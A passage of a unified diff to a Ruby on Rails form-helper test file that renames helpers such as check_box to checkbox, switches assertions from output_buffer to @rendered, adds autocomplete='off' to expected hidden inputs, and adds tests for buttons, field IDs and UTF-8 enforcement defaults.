     expected = whole_form("/posts", "foo_new_post", "new_post") do
-      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input name='post[tag_ids][]' type='hidden' value='' autocomplete='off' />" \
       "<input checked='checked' id='foo_post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" \
       "<label for='foo_post_tag_ids_1'>Tag 1</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_with_index_and_with_collection_check_boxes
+  def test_form_with_index_and_with_collection_checkboxes
     post = Post.new
     def post.tag_ids; [1]; end
     collection = [[1, "Tag 1"]]
 
     form_for(post, index: "1") do |f|
-      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+      concat f.collection_checkboxes(:tag_ids, collection, :first, :last)
     end
 
     expected = whole_form("/posts", "new_post", "new_post") do
-      "<input name='post[1][tag_ids][]' type='hidden' value='' />" \
+      "<input name='post[1][tag_ids][]' type='hidden' value='' autocomplete='off' />" \
       "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" \
       "<label for='post_1_tag_ids_1'>Tag 1</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_with_persisted_to_model
+    post_form = RecordForm.new(to_model: @post)
+
+    form_for(post_form) { }
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: :patch) { "" }
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_with_new_record_to_model
+    post_form = RecordForm.new(to_model: Post.new)
+
+    form_for(post_form) { }
+
+    expected = whole_form("/posts", "new_post", "new_post", method: :post) { "" }
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_file_field_generate_multipart
@@ -1758,7 +2291,7 @@ def test_form_for_with_file_field_generate_multipart
       "<input name='post[file]' type='file' id='post_file' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_for_with_file_field_generate_multipart
@@ -1772,7 +2305,7 @@ def test_fields_for_with_file_field_generate_multipart
       "<input name='post[comment][file]' type='file' id='post_comment_file' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_format
@@ -1784,7 +2317,19 @@ def test_form_for_with_format
       "<label for='post_title'>Title</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_new_form_for_without_format
+    form_for(@post, html: { id: "edit_post_123", class: "edit_post" }) do |f|
+      concat f.label(:title)
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "<label for='post_title'>Title</label>"
+    end
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_model_using_relative_model_naming
@@ -1800,15 +2345,15 @@ def test_form_for_with_model_using_relative_model_naming
       "<input name='commit' data-disable-with='Edit post' type='submit' value='Edit post' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_symbol_as
     form_for(@post, as: "other_name", html: { id: "create-post" }) do |f|
       concat f.label(:title, class: "post_title")
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
       concat f.submit("Create post")
     end
 
@@ -1816,18 +2361,17 @@ def test_form_for_with_symbol_as
       "<label for='other_name_title' class='post_title'>Title</label>" \
       "<input name='other_name[title]' id='other_name_title' value='Hello World' type='text' />" \
       "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='other_name[secret]' value='0' type='hidden' />" \
+      "<input name='other_name[secret]' value='0' type='hidden' autocomplete='off' />" \
       "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" \
       "<input name='commit' value='Create post' data-disable-with='Create post' type='submit' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_tags_do_not_call_private_properties_on_form_object
     obj = Class.new do
       private
-
         def private_property
           raise "This method should not be called."
         end
@@ -1841,35 +2385,35 @@ def private_property
   def test_form_for_with_method_as_part_of_html_options
     form_for(@post, url: "/", html: { id: "create-post", method: :delete }) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post", "edit_post", method: "delete") do
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_method
     form_for(@post, url: "/", method: :delete, html: { id: "create-post" }) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post", "edit_post", method: "delete") do
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_search_field
@@ -1883,24 +2427,24 @@ def test_form_for_with_search_field
       "<input name='post[title]' type='search' id='post_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_remote
     form_for(@post, url: "/", remote: true, html: { id: "create-post", method: :patch }) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_enforce_utf8_true
@@ -1912,7 +2456,7 @@ def test_form_for_enforce_utf8_true
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_enforce_utf8_false
@@ -1924,24 +2468,52 @@ def test_form_for_enforce_utf8_false
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_default_enforce_utf8_false
+    with_default_enforce_utf8 false do
+      form_for(:post) do |f|
+        concat f.text_field(:title)
+      end
+
+      expected = whole_form("/", nil, nil, enforce_utf8: false) do
+        "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
+      end
+
+      assert_dom_equal expected, @rendered
+    end
+  end
+
+  def test_form_for_default_enforce_utf8_true
+    with_default_enforce_utf8 true do
+      form_for(:post) do |f|
+        concat f.text_field(:title)
+      end
+
+      expected = whole_form("/", nil, nil, enforce_utf8: true) do
+        "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
+      end
+
+      assert_dom_equal expected, @rendered
+    end
   end
 
   def test_form_for_with_remote_in_html
     form_for(@post, url: "/", html: { remote: true, id: "create-post", method: :patch }) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_remote_without_html
@@ -1949,72 +2521,72 @@ def test_form_for_with_remote_without_html
     @post.stub(:to_key, nil) do
       form_for(@post, remote: true) do |f|
         concat f.text_field(:title)
-        concat f.text_area(:body)
-        concat f.check_box(:secret)
+        concat f.textarea(:body)
+        concat f.checkbox(:secret)
       end
 
       expected = whole_form("/posts", "new_post", "new_post", remote: true) do
         "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
         "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-        "<input name='post[secret]' type='hidden' value='0' />" \
+        "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
         "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
   def test_form_for_without_object
     form_for(:post, html: { id: "create-post" }) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post") do
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_index
     form_for(@post, as: "post[]") do |f|
       concat f.label(:title)
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
       "<label for='post_123_title'>Title</label>" \
       "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" \
       "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[123][secret]' type='hidden' value='0' />" \
+      "<input name='post[123][secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_nil_index_option_override
     form_for(@post, as: "post[]", index: nil) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
       "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" \
       "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[][secret]' type='hidden' value='0' />" \
+      "<input name='post[][secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_label_error_wrapping
@@ -2030,7 +2602,7 @@ def test_form_for_label_error_wrapping
       "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_label_error_wrapping_without_conventional_instance_variable
@@ -2048,7 +2620,7 @@ def test_form_for_label_error_wrapping_without_conventional_instance_variable
       "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_label_error_wrapping_block_and_non_block_versions
@@ -2062,24 +2634,24 @@ def test_form_for_label_error_wrapping_block_and_non_block_versions
       "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_namespace
     form_for(@post, namespace: "namespace") do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", "namespace_edit_post_123", "edit_post", method: "patch") do
       "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_namespace_with_date_select
@@ -2101,7 +2673,21 @@ def test_form_for_with_namespace_with_label
       "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_for_with_namespace_with_custom_label_for
+    form_for(@post, namespace: "namespace") do |f|
+      concat f.label(:title, for: "my_title")
+      concat f.text_field(:title, id: "my_title")
+    end
+
+    expected = whole_form("/posts/123", "namespace_edit_post_123", "edit_post", method: "patch") do
+      "<label for='namespace_my_title'>Title</label>" \
+      "<input name='post[title]' type='text' id='namespace_my_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_namespace_and_as_option
@@ -2113,7 +2699,7 @@ def test_form_for_with_namespace_and_as_option
       "<input id='namespace_custom_name_title' name='custom_name[title]' type='text' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_two_form_for_with_namespace
@@ -2127,7 +2713,7 @@ def test_two_form_for_with_namespace
       "<input name='post[title]' type='text' id='namespace_1_post_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected_1, output_buffer
+    assert_dom_equal expected_1, @rendered
 
     form_for(@post, namespace: "namespace_2") do |f|
       concat f.label(:title)
@@ -2139,14 +2725,14 @@ def test_two_form_for_with_namespace
       "<input name='post[title]' type='text' id='namespace_2_post_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected_2, output_buffer
+    assert_dom_equal expected_2, @rendered
   end
 
   def test_fields_for_with_namespace
     @comment.body = "Hello World"
     form_for(@post, namespace: "namespace") do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
+      concat f.textarea(:body)
       concat f.fields_for(@comment) { |c|
         concat c.text_field(:body)
       }
@@ -2158,11 +2744,11 @@ def test_fields_for_with_namespace
       "<input name='post[comment][body]' type='text' id='namespace_post_comment_body' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_submit_with_object_as_new_record_and_locale_strings
-    with_locale :submit do
+    I18n.with_locale :submit do
       @post.persisted = false
       @post.stub(:to_key, nil) do
         form_for(@post) do |f|
@@ -2173,13 +2759,13 @@ def test_submit_with_object_as_new_record_and_locale_strings
           "<input name='commit' data-disable-with='Create Post' type='submit' value='Create Post' />"
         end
 
-        assert_dom_equal expected, output_buffer
+        assert_dom_equal expected, @rendered
       end
     end
   end
 
   def test_submit_with_object_as_existing_record_and_locale_strings
-    with_locale :submit do
+    I18n.with_locale :submit do
       form_for(@post) do |f|
         concat f.submit
       end
@@ -2188,12 +2774,12 @@ def test_submit_with_object_as_existing_record_and_locale_strings
         "<input name='commit' data-disable-with='Confirm Post changes' type='submit' value='Confirm Post changes' />"
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
   def test_submit_without_object_and_locale_strings
-    with_locale :submit do
+    I18n.with_locale :submit do
       form_for(:post) do |f|
         concat f.submit class: "extra"
       end
@@ -2202,12 +2788,12 @@ def test_submit_without_object_and_locale_strings
         "<input name='commit' class='extra' data-disable-with='Save changes' type='submit' value='Save changes' />"
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
-  def test_submit_with_object_and_nested_lookup
-    with_locale :submit do
+  def test_submit_with_object_which_is_overwritten_by_as_option
+    I18n.with_locale :submit do
       form_for(@post, as: :another_post) do |f|
         concat f.submit
       end
@@ -2216,10 +2802,121 @@ def test_submit_with_object_and_nested_lookup
         "<input name='commit' data-disable-with='Update your Post' type='submit' value='Update your Post' />"
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
+  def test_submit_with_object_which_is_namespaced
+    blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+    I18n.with_locale :submit do
+      form_for(blog_post) do |f|
+        concat f.submit
+      end
+
+      expected = whole_form("/posts/44", "edit_post_44", "edit_post", method: "patch") do
+        "<input name='commit' data-disable-with='Update your Post' type='submit' value='Update your Post' />"
+      end
+
+      assert_dom_equal expected, @rendered
+    end
+  end
+
+  def test_button_with_method_name
+    form_for(@post) do |f|
+      concat f.button(:secret, value: true)
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      %(<button type="submit" id="post_secret" name="post[secret]" value="true">Update Post</button>)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_button_with_method_name_and_attributes
+    form_for(@post) do |f|
+      concat f.button(:secret, value: true, id: "not_generated", name: "post[not_generated]")
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      %(<button type="submit" id="not_generated" name="post[not_generated]" value="true">Update Post</button>)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_button_with_method_name_and_block
+    form_for(@post) do |f|
+      concat f.button(:secret, value: true) { "Update secret Post" }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      %(<button type="submit" id="post_secret" name="post[secret]" value="true">Update secret Post</button>)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_button_with_get_formmethod_attribute
+    form_for(@post, as: :another_post) do |f|
+      concat f.button "GET", formmethod: :get
+    end
+
+    expected = whole_form("/posts/123", "edit_another_post", "edit_another_post", method: "patch") do
+      "<button type='submit' formmethod='get' name='button'>GET</button>"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_button_with_post_formmethod_attribute
+    form_for(@post, as: :another_post) do |f|
+      concat f.button "POST", formmethod: :post
+    end
+
+    expected = whole_form("/posts/123", "edit_another_post", "edit_another_post", method: "patch") do
+      "<button type='submit' formmethod='post' name='button'>POST</button>"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_button_with_other_formmethod_attribute
+    form_for(@post, as: :another_post) do |f|
+      concat f.button "Delete", formmethod: :delete
+    end
+
+    expected = whole_form("/posts/123", "edit_another_post", "edit_another_post", method: "patch") do
+      "<button type='submit' formmethod='post' name='_method' value='delete'>Delete</button>"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_button_with_other_formmethod_attribute_and_name
+    form_for(@post, as: :another_post) do |f|
+      concat f.button "Delete", formmethod: :delete, name: "existing"
+    end
+
+    expected = whole_form("/posts/123", "edit_another_post", "edit_another_post", method: "patch") do
+      "<button type='submit' formmethod='delete' name='existing'>Delete</button>"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_button_with_other_formmethod_attribute_and_value
+    form_for(@post, as: :another_post) do |f|
+      concat f.button "Delete", formmethod: :delete, value: "existing"
+    end
+
+    expected = whole_form("/posts/123", "edit_another_post", "edit_another_post", method: "patch") do
+      "<button type='submit' formmethod='delete' name='button' value='existing'>Delete</button>"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
   def test_nested_fields_for
     @comment.body = "Hello World"
     form_for(@post) do |f|
@@ -2232,7 +2929,35 @@ def test_nested_fields_for
       "<input name='post[comment][body]' type='text' id='post_comment_body' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_nested_fields_for_field_id
+    form_for(@post) do |form|
+      concat form.fields_for(:comment_attributes, @comment) { |c|
+        concat c.field_id(:body)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "post_comment_attributes_body"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_nested_fields_for_field_id_with_index_override
+    form_for(@post) do |form|
+      concat form.fields_for(:comment_attributes, @comment, index: 1) { |c|
+        concat c.field_id(:body)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      "post_comment_attributes_1_body"
+    end
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_deep_nested_fields_for
@@ -2252,7 +2977,7 @@ def test_deep_nested_fields_for
       "<input name='posts[post][0][comment][1][name]' type='text' id='posts_post_0_comment_1_name' value='comment #1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_nested_collections
@@ -2270,7 +2995,7 @@ def test_nested_fields_for_with_nested_collections
       "<input name='post[123][body]' type='text' id='post_123_body' value='Back to the hill and over it again!' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_index_and_parent_fields
@@ -2286,11 +3011,11 @@ def test_nested_fields_for_with_index_and_parent_fields
       "<input name='post[1][comment][1][name]' type='text' id='post_1_comment_1_name' value='new comment' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_index_and_nested_fields_for
-    output_buffer = form_for(@post, index: 1) do |f|
+    @rendered = form_for(@post, index: 1) do |f|
       concat f.fields_for(:comment, @post) { |c|
         concat c.text_field(:title)
       }
@@ -2300,7 +3025,7 @@ def test_form_for_with_index_and_nested_fields_for
       "<input name='post[1][comment][title]' type='text' id='post_1_comment_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_index_on_both
@@ -2314,7 +3039,7 @@ def test_nested_fields_for_with_index_on_both
       "<input name='post[1][comment][5][title]' type='text' id='post_1_comment_5_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_auto_index
@@ -2328,7 +3053,7 @@ def test_nested_fields_for_with_auto_index
       "<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_index_radio_button
@@ -2342,7 +3067,7 @@ def test_nested_fields_for_with_index_radio_button
       "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_auto_index_on_both
@@ -2356,29 +3081,32 @@ def test_nested_fields_for_with_auto_index_on_both
       "<input name='post[123][comment][123][title]' type='text' id='post_123_comment_123_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_index_and_auto_index
-    output_buffer = form_for(@post, as: "post[]") do |f|
+    form_for(@post, as: "post[]") do |f|
       concat f.fields_for(:comment, @post, index: 5) { |c|
         concat c.text_field(:title)
       }
     end
 
-    output_buffer << form_for(@post, as: :post, index: 1) do |f|
+    expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
+      "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
+    end
+    assert_dom_equal expected, @rendered
+
+    form_for(@post, as: :post, index: 1) do |f|
       concat f.fields_for("comment[]", @post) { |c|
         concat c.text_field(:title)
       }
     end
 
-    expected = whole_form("/posts/123", "edit_post[]", "edit_post[]", method: "patch") do
-      "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
-    end + whole_form("/posts/123", "edit_post", "edit_post", method: "patch") do
+    expected = whole_form("/posts/123", "edit_post", "edit_post", method: "patch") do
       "<input name='post[1][comment][123][title]' type='text' id='post_1_comment_123_title' value='Hello World' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
@@ -2396,7 +3124,7 @@ def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_a
         '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="new author" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
@@ -2421,10 +3149,10 @@ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
@@ -2440,10 +3168,10 @@ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
@@ -2461,7 +3189,7 @@ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
@@ -2479,7 +3207,7 @@ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
@@ -2495,10 +3223,10 @@ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
@@ -2514,11 +3242,11 @@ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_o
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" autocomplete="off" />' \
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
@@ -2536,12 +3264,12 @@ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collecti
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" autocomplete="off" />' \
